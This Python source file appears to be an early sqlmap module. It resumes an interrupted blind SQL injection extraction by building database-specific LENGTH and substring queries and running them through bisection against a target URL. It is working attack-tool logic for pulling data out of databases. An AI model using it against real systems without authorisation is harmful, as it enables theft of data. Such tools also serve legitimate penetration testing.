#!/usr/bin/env python


import logging
import re
import sys
import time


class Resume:
    """
    This class defines methods used to resume a blind SQL injection
    output value

    @author: Bernardo Damele
    """

    def __init__(self, args):
        self.args = args
        self.logger = logging.getLogger("sqlmapLog")


    def __effectiveResumeValue(self, origExpr, regExpr, resumedValue, baseUrl, method=None):
        """
        This method is the effective resume of the pending part or
        entire output of a blind SQL injection query
        """

        origExprUnescaped = self.unescape(origExpr)
        resumedValueReplaced = resumedValue.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")

        if ( method == "SELECT" and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or ( len(regExpr) <= 1 ):
            return None

        if not self.args.fingerprint:
            return None

        if "MySQL" in self.args.fingerprint:
            firstDbStr = "LENGTH(%s)"
            secondDbStr = "MID((%s), %d, %d)"
        elif "PostgreSQL" in self.args.fingerprint:
            firstDbStr = "LENGTH(%s)"
            secondDbStr = "SUBSTR((%s), %d, %d)"
        elif "Microsoft SQL Server" in self.args.fingerprint:
            firstDbStr = "LTRIM(STR(LEN(%s)))"
            secondDbStr = "SUBSTRING((%s), %d, %d)"

        if self.args.verbose:
            sys.stdout.write("[%s] [INFO] retrieved the length of query: " % time.strftime("%X"))
            sys.stdout.flush()

        if method == "SELECT":
            newExpr = origExprUnescaped.replace(regExpr, firstDbStr % regExpr, 1)
        else:
            newExpr = firstDbStr % origExprUnescaped

        count, length = self.bisectionAlgorithm(baseUrl, newExpr, False)

        if not length:
            return None

        if len(resumedValueReplaced) == int(length):
            logMsg  = "read from file '%s': " % self.args.outputFile
            logMsg += "%s" % resumedValueReplaced
            self.logger.info(logMsg)

            return resumedValueReplaced
        elif len(resumedValueReplaced) < int(length):
            logMsg  = "resumed from file '%s': " % self.args.outputFile
            logMsg += "%s" % resumedValueReplaced
            self.logger.info(logMsg)

            if self.args.writeFile:
                self.args.writeFile.write("%s][%s][%s" % (self.args.url, origExpr, resumedValue))
                self.args.writeFile.flush()

            if method == "SELECT":
                newExpr = origExprUnescaped.replace(regExpr, secondDbStr % (regExpr, len(resumedValueReplaced) + 1, int(length)), 1)
            else:
                newExpr = secondDbStr % (origExprUnescaped, len(resumedValueReplaced) + 1, int(length))

            count, finalValue = self.bisectionAlgorithm(baseUrl, newExpr)

            if len(finalValue) != ( int(length) - len(resumedValueReplaced) ):
                warnMsg  = "the total length of the query is not "
                warnMsg += "right, sqlmap is going to retrieve the "
                warnMsg += "query value from the beginning now"
                self.logger.warn(warnMsg)

                return None

            return "%s%s" % (resumedValueReplaced, finalValue)

        return None


    def resumeValue(self, expression, baseUrl):
        """
        This method is called by request.getValue() to resume part or
        entire output of a blind SQL injection query
        """

        resumedValue = self.args.resumedQueries[self.args.url][expression]

        selectTopExpr = re.search("\ASELECT TOP\s+[\d]+\s+([\w\-\_\'\"\,\;\(\)\@\ ]+) FROM", expression, re.I)
        selectExpr = re.search("\ASELECT ([\w\-\_\'\"\,\;\(\)\@\ ]+) FROM", expression, re.I)
        miscExpr = re.search("\A(.+)", expression, re.I)

        if selectTopExpr or selectExpr:
            if selectTopExpr:
                selectExpr = selectTopExpr.groups()[0]
            elif selectExpr:
                selectExpr = selectExpr.groups()[0]

            return self.__effectiveResumeValue(expression, selectExpr, resumedValue, baseUrl, "SELECT")

        elif miscExpr:
            miscExpr = miscExpr.groups()[0]
            return self.__effectiveResumeValue(expression, miscExpr, resumedValue, baseUrl)

        return None